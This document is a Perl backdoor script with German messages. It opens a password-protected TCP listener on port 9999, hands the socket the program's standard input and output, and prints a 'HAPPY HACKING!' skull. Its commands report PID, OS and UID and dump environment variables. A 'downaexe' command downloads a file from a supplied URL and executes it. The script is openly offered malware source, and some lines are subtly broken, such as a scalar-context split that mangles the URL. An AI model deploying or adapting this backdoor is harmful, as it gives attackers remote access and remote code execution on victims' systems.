#!/usr/bin/perl use strict; use warnings; use IO::Socket; use LWP; use LWP::UserAgent; my $passwd='Test123'; $SIG{INT} = sub { print("Killed!"); exit(); }; $SIG{CHLD} = 'IGNORE'; our $skull = qq(_________######### ______############### ____################### __####################### _######################### _########################## ############################ ############################ ############################ ############################ ####____#############___#### ###____#____#####____#___### #####__#____#####____#__#### #######___####__###___###### #############____########### ___##########____########## ____#########____####### _____################## ____###_##_###_####_#### ________HAPPY ____________HACKING! ____###_###_##_###_##_## _____################## ______############### _________########## ); my $socket = new IO::Socket::INET( LocalHost => "localhost", LocalPort => 9999, Proto => 'tcp', Listen => SOMAXCONN, Reuse => 1 ) || die("Kann den Socket nicht initiallisieren! $!"); while(1){ my $new_socket = $socket->accept(); print "Angreifer hat sich verbunden!\n"; terminal($new_socket) if(fork()==0); close($new_socket); } close($socket); exit(); sub terminal { my $socket=shift; # Login erforderlich: my $pass_cnt = 10; while($pass_cnt) { print $socket "Password:\n"; my $line=<$socket>; if($line=~/^\s*$passwd\s*$/s) { $pass_cnt=1; last(); } } unless($pass_cnt) { print $socket "PASSWORD WRONG!\n"; exit(); } print "Angreifer hat sich eingeloggt!\n"; # STDOUT STDERR STDIN umleiten open(my $out, ">&STDOUT") or exit(); close(STDOUT) or exit(); close(STDERR) or exit(); close(STDIN) or exit(); *STDOUT=\*$socket; *STDERR=\*$socket; *STDIN=\*$socket; print "Login OK\n"; print $skull; my $buffer=''; while(my $line=<$socket>) { $line=~y/\x0D//d; $line=~s/\x0A+$//s; my @funcarr; if($line =~ /^exit/){ print "Schließe Verbindung...\n"; close($socket); last(); } elsif($line =~ /^get/){ if($line =~ /^get$/){ print "get braucht einen parameter\n"; } else{ @funcarr = split(/ /, $line); print &get($funcarr[1]); @funcarr = (); } } elsif($line =~ /^env$/){ foreach (keys(%ENV)) { print "Key: $_ , Wert: $ENV{$_}\n"; } } elsif($line =~ /^downaexe/){ my $param = split(/ /, $line); my $cont = &wget($param); my $Url = $param; my $Stop = index($Url,":"); my $Protokoll = substr($Url,0,$Stop); my $Start = index($Url,"//") + 2; my $Domain = substr($Url,$Start); $Stop = index($Domain,"/"); $Domain = substr($Domain,0,$Stop); $Start = rindex($Url,"/") + 1; my $Dateiname = substr($Url,$Start); open(my $fh, ">$Dateiname"); print $fh $cont; close($fh); print `./$Dateiname` or `start ./$Dateiname`; } print $out "Angreifer hat die Verbindung beendet!\n"; } } sub get() { my $opt = shift; if($opt =~ /^pid$/){ return "Die Backdoor läuft mit der PID $$\n"; } elsif($opt =~ /^os$/){ return "Das Opfer hat das Betriebssystem '$^O'\n"; } elsif($opt =~ /^uid$/){ return "Der Nutzer hat die UID $<\n"; } else { return "Parameter ist ungültig\n"; } } sub wget(){ my $url = shift; my $agent = LWP::UserAgent->new(); # new obj my $ret; # content my $resp; # Call $agent->agent("PerlBackdoor/1.1 Beta"); $resp = $agent->get($url); $ret = $resp->decoded_content(); # Decode content return $ret; # and return } exit;